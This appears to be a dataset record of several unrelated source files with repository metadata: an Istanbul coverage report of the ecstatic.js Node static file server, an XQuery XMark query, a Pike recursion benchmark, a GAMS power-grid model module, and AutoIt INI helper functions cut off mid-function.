optsParser = require('./ecstatic/opts');
var ecstatic = module.exports = function (dir, options) {
if (typeof dir !== 'string') {
options = dir;
dir = options.root;
}
var root = path.join(path.resolve(dir), '/'),
opts = optsParser(options),
cache = opts.cache,
autoIndex = opts.autoIndex,
baseDir = opts.baseDir,
defaultExt = opts.defaultExt,
handleError = opts.handleError,
headers = opts.headers,
serverHeader = opts.serverHeader,
weakEtags = opts.weakEtags,
handleOptionsMethod = opts.handleOptionsMethod;
opts.root = dir;
if (defaultExt && /^\./.test(defaultExt)) defaultExt = defaultExt.replace(/^\./, '');
// Support hashes and .types files in mimeTypes @since 0.8
if (opts.mimeTypes) {
try {
// You can pass a JSON blob here---useful for CLI use
opts.mimeTypes = JSON.parse(opts.mimeTypes);
} catch (e) {}
if (typeof opts.mimeTypes === 'string') {
mime.load(opts.mimeTypes);
}
else <span class="missing-if-branch" title="else path not taken" >E</span>if (typeof opts.mimeTypes === 'object') {
mime.define(opts.mimeTypes);
}
}
return function middleware (req, res, next) {
// Strip any null bytes from the url
// This was at one point necessary because of an old bug in url.parse
//
// See: https://github.com/jfhbrook/node-ecstatic/issues/16#issuecomment-3039914
// See: https://github.com/jfhbrook/node-ecstatic/commit/43f7e72a31524f88f47e367c3cc3af710e67c9f4
//
// But this opens up a regex dos attack vector! D:
//
// Based on some research (ie asking #node-dev if this is still an issue),
// it's *probably* not an issue. :)
/*
while(req.url.indexOf('%00') !== -1) {
req.url = req.url.replace(/\%00/g, '');
}
*/
// Figure out the path for the file from the given url
var parsed = url.parse(req.url);
try {
decodeURIComponent(req.url); // check validity of url
var pathname = decodePathname(parsed.pathname);
}
catch (err) {
return status[400](res, next, { error: err });
}
var file = path.normalize(
path.join(root,
path.relative(
path.join('/', baseDir),
pathname
)
)
),
gzipped = file + '.gz';
if(serverHeader !== false) {
// Set common headers.
res.setHeader('server', 'ecstatic-'+version);
}
Object.keys(headers).forEach(function (key) {
res.setHeader(key, headers[key])
})
<span class="missing-if-branch" title="if path not taken" >I</span>if (req.method === 'OPTIONS' && <span class="branch-1 cbranch-no" title="branch not covered" >handleOptionsMethod)</span> {
<span class="cstat-no" title="statement not covered" > return res.end();</span>
}
// TODO: This check is broken, which causes the 403 on the
// expected 404.
<span class="missing-if-branch" title="if path not taken" >I</span>if (file.slice(0, root.length) !== root) {
<span class="cstat-no" title="statement not covered" > return status[403](res, next);</span>
}
<span class="missing-if-branch" title="if path not taken" >I</span>if (req.method && (req.method !== 'GET' && <span class="branch-2 cbranch-no" title="branch not covered" >req.method !== 'HEAD' </span>)) {
<span class="cstat-no" title="statement not covered" > return status[405](res, next);</span>
}
function statFile() {
fs.stat(file, function (err, stat) {
if (err && (err.code === 'ENOENT' || err.code === 'ENOTDIR')) {
if (req.statusCode == 404) {
// This means we're already trying ./404.html and can not find it.
// So send plain text response with 404 status code
status[404](res, next);
}
else if (!path.extname(parsed.pathname).length && defaultExt) {
// If there is no file extension in the path and we have a default
// extension try filename and default extension combination before rendering 404.html.
middleware({
url: parsed.pathname + '.' + defaultExt + ((parsed.search)? parsed.search:'')
}, res, next);
}
else {
// Try to serve default ./404.html
middleware({
url: (handleError ? ('/' + path.join(baseDir, '404.' + defaultExt)) : req.url),
statusCode: 404
}, res, next);
}
}
else <span class="missing-if-branch" title="if path not taken" >I</span>if (err) {
<span class="cstat-no" title="statement not covered" > status[500](res, next, { error: err });</span>
}
else if (stat.isDirectory()) {
if (!autoIndex && !opts.showDir) {
status[404](res, next);
return;
}
// 302 to / if necessary
if (!parsed.pathname.match(/\/$/)) {
res.statusCode = 302;
res.setHeader('location', parsed.pathname + '/' +
(parsed.query? ('?' + parsed.query):'')
);
return res.end();
}
if (autoIndex) {
return middleware({
url: urlJoin(encodeURIComponent(pathname), '/index.' + defaultExt)
}, res, function (err) {
<span class="missing-if-branch" title="if path not taken" >I</span>if (err) {
<span class="cstat-no" title="statement not covered" > return status[500](res, next, { error: err });</span>
}
<span class="missing-if-branch" title="else path not taken" >E</span>if (opts.showDir) {
return showDir(opts, stat)(req, res);
}
<span class="cstat-no" title="statement not covered" > return status[403](res, next);</span>
});
}
<span class="missing-if-branch" title="else path not taken" >E</span>if (opts.showDir) {
return showDir(opts, stat)(req, res);
}
}
else {
serve(stat);
}
});
}
// Look for a gzipped file if this is turned on
if (opts.gzip && shouldCompress(req)) {
fs.stat(gzipped, function (err, stat) {
<span class="missing-if-branch" title="else path not taken" >E</span>if (!err && stat.isFile()) {
file = gzipped;
return serve(stat);
} else {
<span class="cstat-no" title="statement not covered" > statFile();</span>
}
});
} else {
statFile();
}
function serve(stat) {
// Do a MIME lookup, fall back to octet-stream and handle gzip
// special case.
var defaultType = opts.contentType || <span class="branch-1 cbranch-no" title="branch not covered" >'application/octet-stream',</span>
contentType = mime.lookup(file, defaultType),
charSet;
<span class="missing-if-branch" title="else path not taken" >E</span>if (contentType) {
charSet = mime.charsets.lookup(contentType, 'utf-8');
<span class="missing-if-branch" title="else path not taken" >E</span>if (charSet) {
contentType += '; charset=' + charSet;
}
}
if (path.extname(file) === '.gz') {
res.setHeader('Content-Encoding', 'gzip');
// strip gz ending and lookup mime type
contentType = mime.lookup(path.basename(file, ".gz"), defaultType);
}
var range = (req.headers && req.headers['range']);
if (range) {
var total = stat.size;
var parts = range.replace(/bytes=/, "").split("-");
var partialstart = parts[0];
var partialend = parts[1];
var start = parseInt(partialstart, 10);
var end = Math.min(total-1, partialend ? parseInt(partialend, 10) : total-1);
var chunksize = (end-start)+1;
if (start > end || isNaN(start) || isNaN(end)) {
return status['416'](res, next);
}
var fstream = fs.createReadStream(file, {start: start, end: end});
fstream.on('error', <span class="fstat-no" title="function not covered" >function (err) {</span>
<span class="cstat-no" title="statement not covered" > status['500'](res, next, { error: err });</span>
});
res.on('close', <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" > fstream.destroy();</span>
});
res.writeHead(206, {
'Content-Range': 'bytes ' + start + '-' + end + '/' + total,
'Accept-Ranges': 'bytes',
'Content-Length': chunksize,
'Content-Type': contentType
});
fstream.pipe(res);
return;
}
// TODO: Helper for this, with default headers.
var lastModified = (new Date(stat.mtime)).toUTCString(),
etag = generateEtag(stat, weakEtags);
res.setHeader('last-modified', lastModified);
res.setHeader('etag', etag);
if (typeof cache === 'function') {
var requestSpecificCache = cache(pathname);
if (typeof requestSpecificCache === 'number') {
requestSpecificCache = 'max-age=' + requestSpecificCache;
}
res.setHeader('cache-control', requestSpecificCache);
} else {
res.setHeader('cache-control', cache);
}
// Return a 304 if necessary
if (shouldReturn304(req, lastModified, etag)) {
return status[304](res, next);
}
res.setHeader('content-length', stat.size);
res.setHeader('content-type', contentType);
// set the response statusCode if we have a request statusCode.
// This only can happen if we have a 404 with some kind of 404.html
// In all other cases where we have a file we serve the 200
res.statusCode = req.statusCode || 200;
<span class="missing-if-branch" title="if path not taken" >I</span>if (req.method === "HEAD") {
<span class="cstat-no" title="statement not covered" > return res.end();</span>
}
var stream = fs.createReadStream(file);
stream.pipe(res);
stream.on('error', <span class="fstat-no" title="function not covered" >function (err) {</span>
<span class="cstat-no" title="statement not covered" > status['500'](res, next, { error: err });</span>
});
}
function shouldReturn304(req, serverLastModified, serverEtag) {
if (!req || !req.headers) {
return false;
}
var clientModifiedSince = req.headers['if-modified-since'],
clientEtag = req.headers['if-none-match'];
if (!clientModifiedSince && !clientEtag) {
// Client did not provide any conditional caching headers
return false;
}
<span class="missing-if-branch" title="else path not taken" >E</span>if (clientModifiedSince) {
// Catch "illegal access" dates that will crash v8
// https://github.com/jfhbrook/node-ecstatic/pull/179
try {
var clientModifiedDate = new Date(Date.parse(clientModifiedSince));
}
catch (err) { return false }
<span class="missing-if-branch" title="if path not taken" >I</span>if (clientModifiedDate.toString() === 'Invalid Date') {
<span class="cstat-no" title="statement not covered" > return false;</span>
}
// If the client's copy is older than the server's, don't return 304
<span class="missing-if-branch" title="if path not taken" >I</span>if (clientModifiedDate < new Date(serverLastModified)) {
<span class="cstat-no" title="statement not covered" > return false;</span>
}
}
if (clientEtag) {
// Do a strong or weak etag comparison based on setting
// https://www.ietf.org/rfc/rfc2616.txt Section 13.3.3
<span class="missing-if-branch" title="if path not taken" >I</span>if (opts.weakCompare && clientEtag !== serverEtag
&& clientEtag !== ('W/' + serverEtag) && <span class="branch-3 cbranch-no" title="branch not covered" >('W/' + clientEtag) !== serverEtag)</span> {
<span class="cstat-no" title="statement not covered" > return false;</span>
} else if (!opts.weakCompare && (clientEtag !== serverEtag || clientEtag.indexOf('W/') === 0)) {
return false;
}
}
return true;
}
};
};
ecstatic.version = version;
ecstatic.showDir = showDir;
// Check to see if we should try to compress a file with gzip.
function shouldCompress(req) {
var headers = req.headers;
return headers && headers['accept-encoding'] &&
headers['accept-encoding']
.split(",")
.some(function (el) {
return ['*','compress', 'gzip', 'deflate'].indexOf(el) != -1;
})
;
}
// See: https://github.com/jesusabdullah/node-ecstatic/issues/109
function decodePathname(pathname) {
var pieces = pathname.replace(/\\/g,"/").split('/');
return pieces.map(function (piece) {
piece = decodeURIComponent(piece);
<span class="missing-if-branch" title="if path not taken" >I</span>if (process.platform === 'win32' && <span class="branch-1 cbranch-no" title="branch not covered" >/\\/.test(piece))</span> {
<span class="cstat-no" title="statement not covered" > throw new Error('Invalid forward slash character');</span>
}
return piece;
}).join('/');
}
if (!module.parent) {
var defaults = require('./ecstatic/defaults.json')
var http = require('http'),
opts = require('minimist')(process.argv.slice(2), {
alias: require('./ecstatic/aliases.json'),
default: defaults,
boolean: Object.keys(defaults).filter(function (key) {
return typeof defaults[key] === 'boolean'
})
}),
envPORT = parseInt(process.env.PORT, 10),
port = envPORT > 1024 && envPORT <= 65536 ? envPORT : opts.port || opts.p || 8000,
dir = opts.root || opts._[0] || process.cwd();
<span class="missing-if-branch" title="if path not taken" >I</span>if (opts.help || opts.h) {
<span class="cstat-no" title="statement not covered" > var u = console.error;</span>
<span class="cstat-no" title="statement not covered" > u('usage: ecstatic [dir] {options} --port PORT');</span>
<span class="cstat-no" title="statement not covered" > u('see https://npm.im/ecstatic for more docs');</span>
<span class="cstat-no" title="statement not covered" > return;</span>
}
http.createServer(ecstatic(dir, opts))
.listen(port, function () {
console.log('ecstatic serving ' + dir + ' at http://0.0.0.0:' + port);
});
}
</pre></td></tr>
</table></pre>
<div class='push'></div><!-- for sticky footer -->
</div><!-- /wrapper -->
<div class='footer quiet pad2 space-top1 center small'>
Code coverage
generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Tue Aug 09 2016 13:31:02 GMT-0400 (EDT)
</div>
</div>
<script src="../prettify.js"></script>
<script>
window.onload = function () {
if (typeof prettyPrint === 'function') {
prettyPrint();
}
};
</script>
<script src="../sorter.js"></script>
</body>
</html>
| HTML | 4 | PokerTiger/f7demo | node_modules/ecstatic/coverage/lcov-report/lib/ecstatic.js.html | [
"MIT"
] |
let $auction := doc("auction.xml") return
for $b in $auction//site/regions return count($b//item)
| XQuery | 3 | santoshkumarkannur/sirix | bundles/sirix-xquery/src/test/resources/xmark/queries/fndoc/q06.xq | [
"BSD-3-Clause"
] |
// ---------------------------------------------------------------------
// The Great Computer Language Shootout
// http://shootout.alioth.debian.org/
//
// Code based on / inspired by existing, relevant Shootout submissions
//
// Contributed by Anthony Borla
// ---------------------------------------------------------------------
int ack(int x, int y)
{
if (x == 0) return y + 1;
if (y == 0) return ack(x - 1, 1);
return ack(x - 1, ack(x, y - 1));
}
// --------------
int fib(int n)
{
if (n < 2) return 1;
return fib(n - 2) + fib(n - 1);
}
float fibflt(float n)
{
if (n < 2.0) return 1.0;
return fibflt(n - 2.0) + fibflt(n - 1.0);
}
// --------------
int tak(int x, int y, int z)
{
if (y < x) return tak(tak(x - 1, y, z), tak(y - 1, z, x), tak(z - 1, x, y));
return z;
}
float takflt(float x, float y, float z)
{
if (y < x) return takflt(takflt(x - 1.0, y, z), takflt(y - 1.0, z, x), takflt(z - 1.0, x, y));
return z;
}
// --------------------------------
int main(int argc, array(string) argv)
{
int N = (int)argv[1];
write("Ack(3,%d): %d\n", N, ack(3, N));
write("Fib(%.1f): %.1f\n", 27.0 + N, fibflt(27.0 + N));
N -= 1;
write("Tak(%d,%d,%d): %d\n", N * 3, N * 2, N, tak(N * 3, N * 2, N));
write("Fib(3): %d\n", fib(3));
write("Tak(3.0,2.0,1.0): %.1f\n", takflt(3.0, 2.0, 1.0));
return 0;
}
| Pike | 3 | kragen/shootout | bench/recursive/recursive.pike | [
"BSD-3-Clause"
] |
*-------------------------------------------------------------------------------
* System Integration:
* - Capacity constraint
* - Flexibility constraint
* - Grid Investment
* - Capacity growth constraint
*-------------------------------------------------------------------------------
$ifthen %phase%=='conf'
$setglobal capacity_constraint 'low'
$if %baseline%=='ssp1' $setglobal capacity_constraint 'high'
$if %baseline%=='ssp4' $setglobal capacity_constraint 'high'
*-------------------------------------------------------------------------------
$elseif %phase%=='sets'
* Renewable CES
set jintren(j) / /; # also used in the grid part
* Capacity constraint
set jel_firm(jel) 'Firm, non intermittent technologies' /
elpc_new, elpc_old, elpc_late elcigcc, elpc_ccs, elpc_oxy, eloil_new, eloil_old, elgastr_new,
elgastr_old, elgasccs, elhydro_new, elhydro_old /;
* Grid
set jel_stdgrid(jel) 'Technologies requiring standard grid infrastructure (i.e. no W&S)' /
elpc_new, elpc_old, elpc_late elcigcc, elpc_ccs, elpc_oxy, eloil_new, eloil_old, elgastr_new,
elgastr_old, elgasccs, elhydro_new, elhydro_old /;
set share_coeff / mult, exp /;
set jtn_incompatible_with_mkt_growth_cap(jinv,t,n);
*-------------------------------------------------------------------------------
$elseif %phase%=='include_data'
* Capacity constraint
scalar cv_coeff / 0.9 /;
scalar cv_exp / -2.05 /;
scalar peak_load_fraction / 2 /;
parameter firm_coeff(n);
* Flexibility constraint
parameter flex_coeff(*) 'Flexibility constraint coefficient' /
elgastr_old 0.5
elgastr_new 0.5
elgasccs 0.5
elhydro_old 0.5
elhydro_new 0.5
elpb_new 0.3
elpb_old 0.3
elbigcc 0.3
elpc_old 0.15
elpc_new 0.15
elpc_late 0.15
elcigcc 0.15
elpc_ccs 0.15
elpc_oxy 0.15
eloil_old 0.15
eloil_new 0.15
elcsp 0
elnuclear_new 0
elnuclear_old 0
elpv -0.05
elwindon -0.08
elwindoff -0.08
load -0.1
/;
scalar storage_eff;
$if %capacity_constraint%=='low' storage_eff = 0.85;
$if %capacity_constraint%=='high' storage_eff = 1;
* Grid
scalar grid_cost 'Cost of transmission and distribution lines [$/W]';
grid_cost = 0.4;
parameter grid_coeff(jintren,*) /
elpv.mult 1
elpv.exp 1.5
elwind.mult 1
elwind.exp 1.5
/;
parameter grid_delta(t,n) 'Depreciation rate of the grid';
lifetime('grid',n) = 60; # Lifetime of 60 years
grid_delta(t,n) = depreciation_rate('grid');
* Transmission cost
parameter grid_trans_cost(*,*) 'Additional transmission cost[$/W]' /
elwindon.near 0
elwindon.inter 0.12
elwindon.far 0.4
elwindoff.near 0
elwindoff.inter 0.2
elwindoff.far 0.4
elpv.far 0.2
elcsp.far 0.2
/;
* Capacity growth constraint
$gdxin '%datapath%data_mod_systint'
parameter el_free_cap(n) 'Annual freely allowed capacity addition for the capacity growth constraint';
$loaddc el_free_cap
$gdxin
parameter mkt_growth_rate(jinv,t,n) 'Annual growth rate of power technologies capacity for the capacity growth constraint';
* elwindon
mkt_growth_rate('elwindon',t,n)$(year(t) ge 2020) = 0.12;
mkt_growth_rate('elwindoff',t,n)$(year(t) ge 2020) = 0.15;
* elnuclear
mkt_growth_rate('elnuclear_new',t,n) = 0.1;
* elsolar
mkt_growth_rate('elpv',t,n)$(year(t) ge 2020) = 0.2;
mkt_growth_rate('elcsp',t,n) = 0.2;
* elcss
mkt_growth_rate(jinv,t,n)$(xiny(jinv,jccs) and xiny(jinv,jel)) = 0.075;
* No constraint before 2010, for CCS before 2005
mkt_growth_rate(jinv,t,n)$(year(t) le 2010 ) = 0;
mkt_growth_rate(jinv,t,n)$(xiny(jinv,jccs) and xiny(jinv,jel) and year(t) ge 2010 and year(t) le 2030) = 0.02;
* Relax the constraint after 2100
mkt_growth_rate(jinv,t,n)$(year(t) gt 2100) = 0;
*-------------------------------------------------------------------------------
$elseif %phase%=='include_dynamic_calibration_data'
execute_load '%tfpgdx%', firm_coeff;
*-------------------------------------------------------------------------------
$elseif %phase%=='vars'
* Flexibility constraint
variable Q_EL_FLEX(t,n) 'Flexible energy generation [TWh]';
loadvarbnd(Q_EL_FLEX,'(t,n)',sum(jel,Q_EN.l(jel,t,n) * flex_coeff(jel)) + Q_EN.l('el',t,n) * flex_coeff('load'),0,Q_EN.up('el',t,n));
* Grid
variable K_EN_GRID(t,n) 'Capital in electric grid [TW]';
loadvarbnd(K_EN_GRID,'(t,n)',sum(jel, K_EN.l(jel,t,n)),1e-6,1e7);
variable I_EN_GRID(t,n) 'Investment in electric grid [T$]';
loadvarbnd(I_EN_GRID,'(t,n)',0.01,1e-7,1);
*-------------------------------------------------------------------------------
$elseif %phase%=='eql'
eqq_elintren_%clt%
eqflex_%clt%
eqk_en_grid_%clt%
eqk_en_grid_to_k_en_%clt%
eqfirm_capacity_%clt%
eqcap_growth_%clt%
*-------------------------------------------------------------------------------
$elseif %phase%=='eqs'
* Renewable CES
* Definition of the renewable CES
eqq_elintren_%clt%(t,n)$(mapn_th('%clt%'))..
Q('ces_elintren',t,n) =e= ces3('elintren', 'elwind', Q('ces_elwind',t,n), 'elpv', Q('ces_elpv',t,n), 'elcsp', Q('ces_elcsp',t,n));
* Capacity constraint
$ifthen.x %capacity_constraint%=='low'
eqfirm_capacity_%clt%(t,n)$(mapn('%clt%') and (not tfix(t)) and year(t) gt 2005)..
sum(jel_firm, K_EN(jel_firm,t,n))
+ (sum((wind_dist,wind_class),K_EN_WINDON(wind_dist,wind_class,t,n) * cap_factor(wind_class)) +
sum((wind_dist,wind_depth,wind_class),K_EN_WINDOFF(wind_dist,wind_depth,wind_class,t,n) * cap_factor(wind_class))) *
cv_coeff * exp(cv_exp * Q_EN('elwind',t,n) / Q_EN.l('el',t,n))
+ sum((solar_dist,solar_class),K_EN_PV(solar_dist,solar_class,t,n) * solar_mu(solar_class,'elpv') / yearly_hours) *
cv_coeff * exp(cv_exp * Q_EN('elpv',t,n) / Q_EN.l('el',t,n))
=g= firm_coeff(n) * (Q_EN('el',t,n) -
sum(ices_el, QEL_OUT('edv',ices_el,t,n)) -
sum(ices_el, QEL_OUT('edvfr',ices_el,t,n))
) / yearly_hours
;
$elseif.x %capacity_constraint%=='high'
eqfirm_capacity_%clt%(t,n)$(mapn('%clt%') and (not tfix(t)) and year(t) gt 2005)..
sum(jel_firm, K_EN(jel_firm,t,n)) +
K_EN('elwindon',t,n) +
K_EN('elwindoff',t,n) +
K_EN('elpv',t,n)
=g= firm_coeff(n) * (Q_EN('el',t,n) -
sum(ices_el, QEL_OUT('edv',ices_el,t,n)) -
sum(ices_el, QEL_OUT('edvfr',ices_el,t,n))
) / yearly_hours
;
$else.x
$stop no capacity constraint! [capacity_constraint=='%capacity_constraint%' unsupported]
$endif.x
* Flexibility constraint
eqflex_%clt%(t,n)$(mapn_th('%clt%'))..
Q_EL_FLEX(t,n) =e= sum(jel,Q_EN(jel,t,n) * flex_coeff(jel)) +
( Q_EN('el',t,n) -
sum(ices_el,QEL_OUT('edv',ices_el,t,n)) -
sum(ices_el,QEL_OUT('edvfr',ices_el,t,n))
) * flex_coeff('load')
;
* Grid
** Grid depreciation and investments
eqk_en_grid_%clt%(t,tp1,n)$(mapn_th1('%clt%'))..
K_EN_GRID(tp1,n) =e= K_EN_GRID(t,n)*(1-grid_delta(tp1,n))**tlen(t)
+ tlen(t) * I_EN_GRID(t,n) / grid_cost;
** Grid adjustment to power capacity
eqk_en_grid_to_k_en_%clt%(t,n)$(mapn_th('%clt%'))..
K_EN_GRID(t,n) =e= sum(jel_stdgrid, K_EN(jel_stdgrid,t,n)) +
( sum((wind_dist,wind_class), K_EN_WINDON(wind_dist,wind_class,t,n) * grid_trans_cost('elwindon',wind_dist) +
sum(wind_depth,K_EN_WINDOFF(wind_dist,wind_depth,wind_class,t,n) * grid_trans_cost('elwindoff',wind_dist))) +
sum(solar_class,K_EN_PV('far',solar_class,t,n) * grid_trans_cost('elpv','far'))+
sum(solar_class,K_EN_CSP('far',solar_class,t,n) * grid_trans_cost('elcsp','far'))
) / grid_cost +
(K_EN('elwindon',t,n) + K_EN('elwindoff',t,n)) * (1 + grid_coeff('elwind','mult') * (Q_EN('elwind',t,n) / Q_EN.l('el',t,n))**grid_coeff('elwind','exp')) +
K_EN('elpv',t,n) * (1 + grid_coeff('elpv','mult') * (Q_EN('elpv',t,n) / Q_EN.l('el',t,n))**grid_coeff('elpv','exp')) +
K_EN('elcsp',t,n);
** CSP accounts for itself without markups because the mark up here is related to the need for integration of VREs, but it is not a VRE...
* Capacity growth constraint
eqcap_growth_%clt%(jinv,t,tp1,tp2,n)$(mapn_th2('%clt%') and mkt_growth_rate(jinv,tp1,n))..
I_EN(jinv,tp1,n) / MCOST_INV(jinv,tp1,n) =l= (I_EN(jinv,t,n) / MCOST_INV(jinv,t,n)) *
(1 + mkt_growth_rate(jinv,tp1,n))**tlen(t) + tlen(t) * el_free_cap(n) / 1e3;
*-------------------------------------------------------------------------------
$elseif %phase%=='fix_variables'
tfix1var(I_EN_GRID,'(t,n)')
tfixvar(K_EN_GRID,'(t,n)')
tfixvar(Q_EL_FLEX,'(t,n)')
*-------------------------------------------------------------------------------
$elseif %phase%=='before_solve'
* If
* - K_EN.lo is not -infinity
* - K_EN(t) and K_EN(t+1) are fixed
* - a mkt_growth_rate is set
* then make sure that the minimum additional capacity in t+1 is compatible with
* with the necessary capacity to go from K_EN(t) to K_EN(t+1). If this is not the case,
* disable the mkt growth constraint, assuming that the K_EN.lo/fx override
* the mkt growth assumptions.
loop((jinv,n,t,tp1,tp2)$(mkt_growth_rate(jinv,tp2,n) and
(K_EN.lo(jinv,tp2,n) gt 0) and
(K_EN.lo(jinv,tp1,n) eq K_EN.up(jinv,tp1,n)) and
(K_EN.lo(jinv,t,n) eq K_EN.up(jinv,t,n)) and
pre(t,tp1) and pre(tp1,tp2)),
jtn_incompatible_with_mkt_growth_cap(jinv,tp1,n) = yes$(((K_EN.lo(jinv,tp2,n)-K_EN.lo(jinv,tp1,n)*(1-delta_en(jinv,tp2,n))**tlen(tp1))/tlen(tp1)) ge
(((K_EN.lo(jinv,tp1,n)-K_EN.lo(jinv,t,n)*(1-delta_en(jinv,tp1,n))**tlen(t))/tlen(t))*(1 + mkt_growth_rate(jinv,tp1,n))**tlen(t) + tlen(t) * el_free_cap(n) / 1e3)
);
mkt_growth_rate(jinv,tp1,n)$jtn_incompatible_with_mkt_growth_cap(jinv,tp1,n) = 0;
);
*-------------------------------------------------------------------------------
$elseif %phase%=='dynamic_calibration'
* Capacity constraint coefficient
firm_coeff(n) = min(sum(jel, valuein(2005,K_EN.l(jel,tt,n))) / (valuein(2005,Q_EN.l('el',tt,n)) / yearly_hours),peak_load_fraction);
*-------------------------------------------------------------------------------
$elseif %phase%=='tfpgdx_items'
firm_coeff
*-------------------------------------------------------------------------------
$elseif %phase%=='gdx_items'
* Sets
jel_firm
jel_stdgrid
jintren
jtn_incompatible_with_mkt_growth_cap
* Parameters
cv_coeff
cv_exp
el_free_cap
flex_coeff
grid_coeff
grid_cost
grid_delta
peak_load_fraction
mkt_growth_rate
* Variables
Q_EL_FLEX
K_EN_GRID
I_EN_GRID
$endif
| GAMS | 5 | witch-team/witchmodel | modules/mod_systint.gms | [
"Apache-2.0"
] |
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.12.0
Author: myName
Script Function:
Template AutoIt script.
#ce ----------------------------------------------------------------------------
; Script Start - Add your code below here
Func _IniDeleteEx($s_file, $s_section, $s_key = "")
If Not FileExists($s_file) Then Return SetError(-1, 0, 0)
Local $i_size = FileGetSize($s_file)
Local $i_delete = 0
If $i_size < 31 Then
$i_delete = IniDelete($s_file, $s_section, $s_key)
Return SetError(@error, 0, $i_delete)
EndIf
; is file read only
If StringInStr(FileGetAttrib($s_file), "R") Then
Return SetError(-2, 0, 0)
EndIf
Local $s_fread = FileRead($s_file)
; find out if section exist, if so get data
Local $s_secpatt = "(?si)(?:^|\v)(\h*\[\h*\Q"
$s_secpatt &= $s_section
$s_secpatt &= "\E\h*\].*?)(?:\z|\v\v?\[)"
Local $a_data = StringRegExp($s_fread, $s_secpatt, 1)
Local $f_dataexists = Not @error
If Not $f_dataexists Then Return 1
Local $h_open, $i_write = 0
If $s_key = "" Then
If $s_fread = $a_data[0] Then
$h_open = FileOpen($s_file, 2)
If $h_open = -1 Then Return SetError(-3, 0, 0)
FileClose($h_open)
Return 1
EndIf
$s_fread = StringReplace($s_fread, $a_data[0], "", 1, 1)
$h_open = FileOpen($s_file, 2)
If $h_open = -1 Then Return SetError(-3, 0, 0)
$i_write = FileWrite($h_open, $s_fread)
FileClose($h_open)
If Not $i_write Then Return SetError(-4, 0, 0)
Return 1
EndIf
; since we stop at cr/lf then lets just split
Local $a_lines
If StringInStr($a_data[0], @CRLF, 1, 1) Then
$a_lines = StringSplit(StringStripCR($a_data[0]), @LF)
ElseIf StringInStr($a_data[0], @LF, 1, 1) Then
$a_lines = StringSplit($a_data[0], @LF)
Else
$a_lines = StringSplit($a_data[0], @CR)
EndIf
Local $a_key, $f_found = False, $s_write
Local $s_keypatt = "\h*(?!;|#)(.*?)\h*="
For $iline = 1 To $a_lines[0]
If $a_lines[$iline] = "" Then ContinueLoop
$a_key = StringRegExp($a_lines[$iline], $s_keypatt, 1)
If @error Or $s_key <> $a_key[0] Then
$s_write &= $a_lines[$iline] & @CRLF
ContinueLoop
EndIf
$f_found = True
Next
If Not $f_found Then Return 1
$s_fread = StringReplace($s_fread, $a_data[0], $s_write)
Local $h_open = FileOpen($s_file, 2)
$i_write = FileWrite($h_open, $s_fread)
FileClose($h_open)
Return $i_write
EndFunc
; change added - SmOke_N - 2011/05/18
Func _IniWriteEx($s_file, $s_section, $s_key, $s_value)
If Not $s_file Then Return SetError(-1, 0, 0)
Local $f_exists = FileExists($s_file)
If Not $f_exists Then
FileClose(FileOpen($s_file, 2))
EndIf
Local $i_write = 0
Local $i_size = FileGetSize($s_file) / 1024
; if the file is smaller than 32kb, no need for regex
If $i_size <= 31 Then
$i_write = IniWrite($s_file, $s_section, $s_key, $s_value)
Return SetError(@error, 0, $i_write)
EndIf
; is file read only
If $f_exists Then
If StringInStr(FileGetAttrib($s_file), "R") Then
Return SetError(-2, 0, 0)
EndIf
EndIf
Local $s_fread = FileRead($s_file)
Local $s_write = ""
; find out if section exist, if so get data
Local $s_secpatt = "(?si)(?:^|\v)(\h*\[\h*\Q"
$s_secpatt &= $s_section
$s_secpatt &= "\E\h*\].*?)(?:\z|\v\v?\[)"
Local $a_data = StringRegExp($s_fread, $s_secpatt, 1)
Local $f_dataexists = Not @error
Local $s_write = ""
; if section doesn't exist; append
If Not $f_dataexists Then
If $s_fread Then
If StringRight($s_fread, 2) <> @CRLF Then
$s_write &= @CRLF
EndIf
EndIf
$s_write &= "[" & $s_section & "]" & @CRLF
$s_write &= $s_key & "=" & $s_value & @CRLF
Return FileWrite($s_file, $s_write)
EndIf
; since we stop at cr/lf then lets just split
Local $a_lines
If StringInStr($a_data[0], @CRLF, 1, 1) Then
$a_lines = StringSplit(StringStripCR($a_data[0]), @LF)
ElseIf StringInStr($a_data[0], @LF, 1, 1) Then
$a_lines = StringSplit($a_data[0], @LF)
Else
$a_lines = StringSplit($a_data[0], @CR)
EndIf
Local $a_key, $f_changed = False
Local $s_keypatt = "\h*(?!;|#)(.*?)\h*="
For $iline = 1 To $a_lines[0]
If $a_lines[$iline] = "" Then ContinueLoop
$a_key = StringRegExp($a_lines[$iline], $s_keypatt, 1)
If @error Or $s_key <> $a_key[0] Then
$s_write &= $a_lines[$iline] & @CRLF
ContinueLoop
EndIf
$f_changed = True
$s_write &= $s_key & "=" & $s_value & @CRLF
Next
If Not $f_changed Then
If StringRight($s_fread, 2) <> @CRLF Then
$s_write &= @CRLF
EndIf
$s_write &= $s_key & "=" & $s_value & @CRLF
EndIf
$s_fread = StringReplace($s_fread, $a_data[0], $s_write)
Local $h_open = FileOpen($s_file, 2)
$i_write = FileWrite($h_open, $s_fread)
FileClose($h_open)
Return $i_write
EndFunc
; change added - SmOke_N - 2011/05/18
Func _IniReadSectionNamesEx($v_file)
If Not $v_file Then Return SetError(-1, 0, 0)
Local $f_exists = FileExists($v_file)
Local $i_size, $a_secs
If $f_exists Then
$i_size = FileGetSize($v_file) / 1024
; if the file is smaller than 32kb, no need for regex
If $i_size <= 31 Then
$a_secs = IniReadSectionNames($v_file)
If @error Then Return SetError(@error, 0, 0)
If Not IsArray($a_secs) Then Return SetError(-2, 0, 0)
Return $a_secs
EndIf
EndIf
Local $s_fread
If Not $f_exists Then
; string of data was passed
$s_fread = $v_file
Else
$s_fread = FileRead($v_file)
EndIf
Local $s_secpatt = "(?m)(?:^|\v)\h*\[\h*(.*?)\h*\]"
Local $a_secsre = StringRegExp($s_fread, $s_secpatt, 3)
If @error Then Return SetError(-3, 0, 0)
Local $i_ub = UBound($a_secsre)
Local $a_secret[$i_ub + 1] = [$i_ub]
For $isec = 0 To $i_ub - 1
$a_secret[$isec + 1] = $a_secsre[$isec]
Next
Return $a_secret
EndFunc
; change added - SmOke_N - 2011/05/17
Func _IniReadSectionEx($v_file, $s_section)
If Not $v_file Then Return SetError(-1, 0, 0)
Local $f_exists = FileExists($v_file)
Local $i_size, $a_secread
If $f_exists Then
$i_size = FileGetSize($v_file) / 1024
